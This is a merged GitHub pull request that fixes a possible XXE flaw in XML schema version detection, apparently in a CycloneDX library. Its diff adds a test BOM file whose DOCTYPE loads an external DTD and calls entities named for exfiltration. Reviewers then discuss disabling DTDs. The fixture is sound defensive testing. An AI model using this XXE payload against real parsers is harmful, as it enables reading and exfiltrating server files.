-
-
Notifications
You must be signed in to change notification settings - Fork 60
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Fix possible XXE during XML schema version detection #434
Merged
Merged
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<!DOCTYPE bom [<!ENTITY % sp SYSTEM "https://localhost:1010/test/593ab443b77890d052e55899b16b61a8/raw/3cdd376bba0007145fa2bbacb9abe36cbd5a43ce/file.dtd"> %sp; %param1; %exfil;]> | ||
<bom xmlns="http://cyclonedx.org/schema/bom/1.5" serialNumber="urn:uuid:3e671687-395b-41f5-a30f-a58921a69b79"> | ||
<components> | ||
<component type="application"> | ||
<name>Example Application &xxe;3</name> | ||
<version>2.1.0</version> | ||
<description>This is an example application</description> | ||
<licenses> | ||
<license> | ||
<id>Apache-2.0</id> | ||
</license> | ||
</licenses> | ||
<purl>pkg:npm/[email protected]</purl> | ||
</component> | ||
<component type="library"> | ||
<name>Example Library</name> | ||
<version>3.2.1</version> | ||
<licenses> | ||
<license> | ||
<id>MIT</id> | ||
</license> | ||
</licenses> | ||
<purl>pkg:npm/[email protected]</purl> | ||
</component> | ||
</components> | ||
</bom> |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This is a good fix. However, I am not sure why a core library has to take a position to disable all use of DTD. What if an organization legitimately needs them especially for external references etc? Best to expose these as non-breaking settings and make it clear that users and applications are responsible for security and cannot offload security to core libraries.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I thought about this but then I realized this part is not doing any parsing of the content, this is to get the schema version to parse to the right version, for the deserialization we use Jackson who by default has this protection enabled FasterXML/jackson-dataformat-xml#190 so even if we wanted to do this we would need to change the default behavior of Jackson
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Disabling it is fine and desired IMO. An alternative would be to allow users to provide their own
DocumentBuilderFactory
, but defaulting to a locked-down version.But that feels like something we can think about when there's an immediate need for it, i.e. when someone needs it.